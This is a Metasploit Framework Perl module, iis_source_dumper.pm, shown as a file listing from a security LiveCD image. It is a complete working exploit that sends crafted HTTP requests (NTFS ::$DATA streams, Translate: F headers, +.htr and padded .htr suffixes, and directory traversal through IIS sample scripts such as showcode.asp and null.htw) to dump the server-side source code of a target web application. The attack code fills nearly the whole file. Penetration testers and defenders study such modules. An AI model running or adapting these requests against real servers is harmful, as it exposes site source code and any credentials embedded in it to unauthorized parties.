home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / iis_source_dumper.pm < prev    next >
Text File  |  2006-06-30  |  12KB  |  512 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::iis_source_dumper;
  11. use base "Msf::Exploit";
  12. use strict;
  13.  
  14. my $advanced = { };
  15.  
  16. my $info =
  17.   {
  18.     'Name'     => 'IIS Web Application Source Code Disclosure',
  19.     'Version'  => '$Revision: 1.4 $',
  20.     'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
  21.  
  22.     'UserOpts' =>
  23.       {
  24.         'RHOST' => [1, 'ADDR', 'The target address'],
  25.         'RPORT' => [1, 'PORT', 'The target port', 80],
  26.         'RFILE' => [1, 'DATA', 'The remote file path', '/default.asp'],
  27.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  28.         'SSL'   => [1, 'BOOL', 'The target port', 0],
  29.         'FORCE'    => [0, 'BOOL', 'Force testing when sanity check fails'],
  30.       },
  31.  
  32.     'Description'  => Pex::Text::Freeform(qq{
  33.         This module will use a variety of techniques to dump the source code
  34.         of a remote web application.
  35. }),
  36.  
  37.     'Refs' =>
  38.       [
  39.         ['MIL', '31']
  40.       ],
  41.  
  42.     'DefaultTarget' => 0,
  43.     'Targets' =>
  44.       [
  45.         [ 'All Techniques'                            ],
  46.         [ 'Truncated HTR',    \&bug_truncatehtr        ],
  47.         [ 'NTFS ::$DATA',    \&bug_ntfsdata            ],
  48.         [ 'Translate: F',    \&bug_translatef        ],
  49.         [ 'Null HTW',        \&bug_nullhtw            ],
  50.         [ 'Codebrws.asp',    \&bug_codebrws            ],
  51.         [ 'Sample HTW',        \&bug_nullhtw            ],
  52.         [ 'Dot Plus HTR',    \&bug_plusdothtr        ],
  53.         [ 'MSADC Showcode',    \&bug_msadcshowcode        ],
  54.         [ 'IIS 4 Showcode',    \&bug_iis4viewcode        ],
  55.  
  56.       ],
  57.   };
  58.  
  59. sub new {
  60.     my $class = shift;
  61.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  62.     return($self);
  63. }
  64.  
  65. sub Check {
  66.     my $self = shift;
  67.     my $resp = $self->Exploit('check');
  68.     return $self->CheckCode('Confirmed') if $resp;
  69.     return $self->CheckCode('Safe');
  70. }
  71.  
  72. sub Exploit {
  73.     my $self = shift;
  74.     my $mode = shift;
  75.     my $found = 0;
  76.  
  77.     if (! $self->Sanity && ! $self->GetVar('FORCE')) {
  78.         $self->PrintLine("[*] Use the 'FORCE' option to continue anyways");
  79.         return;
  80.     }
  81.  
  82.     my @techs;
  83.  
  84.     # Determine which techniques should be used to get the file
  85.     if ($self->GetVar('TARGET') == 0) {
  86.         for (my $x = 1; $self->Targets->[$x]; $x++) {
  87.             push @techs, $self->Targets->[$x]
  88.         }
  89.     }
  90.     else {
  91.         @techs = ( $self->Targets->[$self->GetVar('TARGET')] );
  92.     }
  93.  
  94.     # Iterate through the selected tests
  95.     foreach my $tech_ref (@techs) {
  96.         my ($tech_name, $tech_func) = @{ $tech_ref };
  97.  
  98.         $self->PrintLine("[*] Attempting to use the '$tech_name' technique...");
  99.         my $res = $tech_func->($self);
  100.  
  101.         if ($res) {
  102.             $self->PrintLine("[*] Source code obtained via technique $tech_name");
  103.             if ($mode eq 'check') {
  104.                 $found++;
  105.             }
  106.             else {
  107.                 $self->Print($res);
  108.                 return;
  109.             }
  110.         }
  111.     }
  112.  
  113.     if ($found && $mode eq 'check') {
  114.         return $found;
  115.     }
  116.  
  117.     $self->PrintLine("[*] All implemented techniques have failed");
  118.     return;
  119. }
  120.  
  121. sub Sanity {
  122.     my $self = shift;
  123.     my $sock = $self->Connect;
  124.  
  125.     return if ! $sock;
  126.  
  127.     my $req =
  128.       "GET ".$self->GetVar('RFILE'). " HTTP/1.1\r\n".
  129.       "Host: ". $self->VHost. "\r\n".
  130.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  131.       "\r\n";
  132.  
  133.     $sock->Send($req);
  134.  
  135.     my $code = $sock->RecvLine(5);
  136.     my $data = $sock->Recv(-1, 5);
  137.  
  138.     $sock->Close;
  139.  
  140.     $self->SetTempEnv('RealData', $data);
  141.  
  142.     if ($code !~ /^HTTP....\s+(200|40[123]|50.)/) {
  143.         $code =~ s/\r|\n//g;
  144.         $self->PrintLine("[*] Sanity check failed: $code");
  145.         return;
  146.     }
  147.  
  148.     return 1;
  149. }
  150.  
  151. sub DetectSource {
  152.     my $self = shift;
  153.     my $data = shift;
  154.     my $real = $self->GetTempEnv('RealData');
  155.  
  156.     return 1 if $data =~ m/\<\%/;
  157.     return 1 if $data =~ m/\<\?/;
  158.  
  159.     return 1 if ! $real;
  160.     return if $data =~ /content-length: 0/i;
  161.  
  162.     # Not really accurate, but its quick and easy
  163.     # my $sampleA = substr($data, -32, 32);
  164.     # my $sampleB = substr($real, -32, 32);
  165.  
  166.     return;
  167. }
  168.  
  169. ##
  170. # Source Dumper Techniques
  171. ##
  172.  
  173. sub bug_ntfsdata {
  174.     my $self = shift;
  175.     my $sock = $self->Connect;
  176.     return if ! $sock;
  177.  
  178.     my $req =
  179.       "GET ".$self->GetVar('RFILE'). "::\$DATA HTTP/1.1\r\n".
  180.       "Host: ". $self->VHost. "\r\n".
  181.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  182.       "\r\n";
  183.  
  184.     $sock->Send($req);
  185.  
  186.     my $data = $sock->Recv(-1, 5);
  187.     $sock->Close;
  188.  
  189.     return if $data =~ /^HTTP....\s+[345]/;
  190.     return $data if $self->DetectSource($data);
  191.     return;
  192. }
  193.  
  194. sub bug_translatef {
  195.     my $self = shift;
  196.     my $sock = $self->Connect;
  197.     return if ! $sock;
  198.  
  199.     my $req =
  200.       "GET ".$self->GetVar('RFILE'). "\\ HTTP/1.1\r\n".
  201.       "Translate: F\r\n".
  202.       "Host: ". $self->VHost. "\r\n".
  203.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  204.       "\r\n";
  205.  
  206.     $sock->Send($req);
  207.  
  208.     my $data = $sock->Recv(-1, 5);
  209.     $sock->Close;
  210.  
  211.     return if $data =~ /^HTTP....\s+[345]/;
  212.     return $data if $self->DetectSource($data);
  213.     return;
  214. }
  215.  
  216. # This technique will only work if the file extension ends in
  217. # .asp, .htm, .html, or .inc (or any of these extensions plus
  218. # a single character, such as .aspx or .htmx. We assume the
  219. # web root is parallel to the iissamples directory.
  220. sub bug_codebrws {
  221.     my $self = shift;
  222.  
  223.     for my $level (1 .. 4) {
  224.     
  225.         my $sock = $self->Connect;
  226.         return if ! $sock;
  227.         
  228.         my $path =
  229.           '/iissamples/sdk/asp/docs/CodeBrws.asp?Source='.
  230.           '/iissamples/'. ('%c0%ae%c0%ae/' x $level) .'wwwroot'.
  231.           $self->GetVar('RFILE');
  232.  
  233.         my $req =
  234.           "GET $path HTTP/1.1\r\n".
  235.           "Host: ". $self->VHost. "\r\n".
  236.           "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  237.           "\r\n";
  238.  
  239.         $sock->Send($req);
  240.  
  241.         my $data = $sock->Recv(-1, 5);
  242.         $sock->Close;
  243.  
  244.         next if $data =~ /^HTTP....\s+[345]/;
  245.         next if $data =~ /View Active Server Page Source.. Access Denied/;
  246.         next if $data !~ /HTML and Text/;
  247.  
  248.         $self->PrintLine("[*] $path");
  249.         my $start = '<FONT FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">';
  250.         my $idx = rindex($data, $start);
  251.         if ($idx != -1) {
  252.             $data = substr($data, $idx + length($start));
  253.             $data = $self->Uglify($data);
  254.         }
  255.  
  256.         return $data;
  257.     }
  258.     
  259.     return;
  260. }
  261.  
  262. # This bug returns file *fragments*, so detection may not always work
  263. sub bug_plusdothtr {
  264.     my $self = shift;
  265.     my $sock = $self->Connect;
  266.     return if ! $sock;
  267.  
  268.     my $req =
  269.       "GET ".$self->GetVar('RFILE'). "+.htr HTTP/1.1\r\n".
  270.       "Host: ". $self->VHost. "\r\n".
  271.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  272.       "\r\n";
  273.  
  274.     $sock->Send($req);
  275.  
  276.     my $data = $sock->Recv(-1, 5);
  277.     $sock->Close;
  278.  
  279.     return if $data =~ /^HTTP....\s+[345]/;
  280.     return $data if $self->DetectSource($data);
  281.     return;
  282. }
  283.  
  284. # This can be used to view any file on the same partition actually, so
  285. # we have to assume the web root is in the default location.
  286. sub bug_msadcshowcode {
  287.     my $self = shift;
  288.     my $sock = $self->Connect;
  289.     return if ! $sock;
  290.  
  291.     my $path =
  292.       '/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/'.
  293.       '/../../../../../inetpub/wwwroot'.
  294.       $self->GetVar('RFILE');
  295.  
  296.     my $req =
  297.       "GET $path HTTP/1.1\r\n".
  298.       "Host: ". $self->VHost. "\r\n".
  299.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  300.       "\r\n";
  301.  
  302.     $sock->Send($req);
  303.  
  304.     my $data = $sock->Recv(-1, 5);
  305.     $sock->Close;
  306.  
  307.     return if $data =~ /^HTTP....\s+[345]/;
  308.     return if $data =~ /View Active Server Page Source.. Access Denied/;
  309.  
  310.     if ($data =~ /HTML and Text/ && $data !~ /Microsoft VBScript runtime/) {
  311.         $data = $self->Uglify($data);
  312.         $self->PrintLine("[*] $path");
  313.         return $data;
  314.     }
  315.  
  316.     return;
  317. }
  318.  
  319. # This can be used to view any file on the same partition actually, so
  320. # we have to assume the web root is in the default location.
  321. sub bug_iis4viewcode {
  322.     my $self = shift;
  323.     my @paths =
  324.       (
  325.         '/iissamples/Exair/Howitworks/Codebrws.asp',
  326.         '/iissamples/Exair/Howitworks/Code.asp',
  327.         '/iissamples/Exair/Howitworks/Codebrw1.asp',
  328.         '/iissamples/sdk/asp/docs/codebrws.asp',
  329.         '/iissamples/sdk/asp/docs/codebrw2.asp',
  330.         '/Sites/Knowledge/Membership/Inspired/ViewCode.asp',
  331.         '/Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp',
  332.         '/Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp',
  333.         '/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp',
  334.         '/Sites/Samples/Knowledge/Push/ViewCode.asp',
  335.         '/Sites/Samples/Knowledge/Search/ViewCode.asp',
  336.         '/SiteServer/Publishing/viewcode.asp',
  337.       );
  338.  
  339.     foreach my $sample (@paths) {
  340.         my $sock = $self->Connect;
  341.         return if ! $sock;
  342.  
  343.         my $path =
  344.           $sample.'?source=/../../../../../../inetpub/wwwroot'.
  345.           $self->GetVar('RFILE');
  346.  
  347.         my $req =
  348.           "GET $path HTTP/1.1\r\n".
  349.           "Host: ". $self->VHost. "\r\n".
  350.           "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  351.           "\r\n";
  352.  
  353.         $sock->Send($req);
  354.  
  355.         my $data = $sock->Recv(-1, 5);
  356.         $sock->Close;
  357.  
  358.         next if $data =~ /^HTTP....\s+[345]/;
  359.         return if $data =~ /View Active Server Page Source.. Access Denied/;
  360.  
  361.         if ($data =~ /HTML and Text/ && $data !~ /Microsoft VBScript runtime/) {
  362.             $data = $self->Uglify($data);
  363.             $self->PrintLine("[*] $path");
  364.             return $data;
  365.         }
  366.  
  367.     }
  368.  
  369.     return;
  370. }
  371.  
  372. sub bug_nullhtw {
  373.     my $self = shift;
  374.     my $sock = $self->Connect;
  375.     return if ! $sock;
  376.  
  377.     my $path =
  378.       '/null.htw?CiWebhitsfile='.$self->GetVar('RFILE').
  379.       '%20&CiRestriction=none&CiHiliteType=Full';
  380.  
  381.     my $req =
  382.       "GET $path HTTP/1.1\r\n".
  383.       "Host: ". $self->VHost. "\r\n".
  384.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  385.       "\r\n";
  386.  
  387.     $sock->Send($req);
  388.  
  389.     my $data = $sock->Recv(-1, 5);
  390.     $sock->Close;
  391.  
  392.     return if $data =~ /^HTTP....\s+[345]/;
  393.     if ($data =~ /takes you to the next hit/) {
  394.         $data = $self->Uglify($data);
  395.         return $data;
  396.     }
  397.     return;
  398. }
  399.  
  400. # This can be used to view any file on the same partition actually, so
  401. # we have to assume the web root is in the default location.
  402. sub bug_samplehtw {
  403.     my $self = shift;
  404.  
  405.     my @paths =
  406.       (
  407.         '/iissamples/issamples/oop/qfullhit.htw',
  408.         '/iissamples/issamples/oop/qsumrhit.htw',
  409.         '/isssamples/exair/search/qfullhit.htw',
  410.         '/isssamples/exair/search/qsumrhit.htw',
  411.         '/isshelp/iss/misc/iirturnh.htw',
  412.       );
  413.  
  414.     foreach my $sample (@paths) {
  415.         my $sock = $self->Connect;
  416.         return if ! $sock;
  417.  
  418.         my $path =
  419.           $sample.'?CiWebhitsfile=../../../../inetpub/wwwroot'.$self->GetVar('RFILE').
  420.           '&CiRestriction=none&CiHiliteType=Full';
  421.  
  422.         my $req =
  423.           "GET $path HTTP/1.1\r\n".
  424.           "Host: ". $self->VHost. "\r\n".
  425.           "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  426.           "\r\n";
  427.  
  428.         $sock->Send($req);
  429.  
  430.         my $data = $sock->Recv(-1, 5);
  431.         $sock->Close;
  432.  
  433.         next if $data =~ /^HTTP....\s+[345]/;
  434.  
  435.         if ($data =~ /takes you to the next hit/) {
  436.             $self->PrintLine("[*] $path");
  437.             $data = $self->Uglify($data);
  438.             return $data;
  439.         }
  440.     }
  441.  
  442.     return;
  443. }
  444.  
  445. # This check has to run first, since it will only work the first
  446. # time ISM.dll is loaded into the inetinfo process.
  447. sub bug_truncatehtr {
  448.     my $self = shift;
  449.     my $sock = $self->Connect;
  450.     return if ! $sock;
  451.  
  452.     my $path =
  453.       $self->GetVar('RFILE'). ('%20' x 230). '.htr';
  454.  
  455.     my $req =
  456.       "GET $path HTTP/1.1\r\n".
  457.       "Host: ". $self->VHost. "\r\n".
  458.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  459.       "\r\n";
  460.  
  461.     $sock->Send($req);
  462.  
  463.     my $data = $sock->Recv(-1, 5);
  464.     $sock->Close;
  465.  
  466.     return if $data =~ /^HTTP....\s+[345]/;
  467.     return 1 if $self->DetectSource($data);
  468.     return;
  469. }
  470.  
  471. ##
  472. # General Purpose
  473. ##
  474.  
  475. sub Uglify {
  476.     my $self = shift;
  477.     my $data = shift;
  478.     $data =~ s/\<br\>/\n/gi;
  479.     $data =~ s/\<[^\>+]\>//smg;
  480.     $data =~ s/\ / /g;
  481.     $data =~ s/\</\</g;
  482.     $data =~ s/\>/\>/g;
  483.     $data =~ s/\"/\"/g;
  484.     return $data;
  485. }
  486.  
  487. sub VHost {
  488.     my $self = shift;
  489.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  490.     return $name;
  491. }
  492.  
  493. sub Connect {
  494.     my $self = shift;
  495.     my $s = Msf::Socket::Tcp->new
  496.       (
  497.         'PeerAddr'  => $self->GetVar('RHOST'),
  498.         'PeerPort'  => $self->GetVar('RPORT'),
  499.         'SSL'        => $self->GetVar('SSL'),
  500.       );
  501.  
  502.     if ($s->IsError) {
  503.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  504.         return;
  505.     }
  506.  
  507.     return $s;
  508. }
  509.  
  510. 1;
  511.  
  512.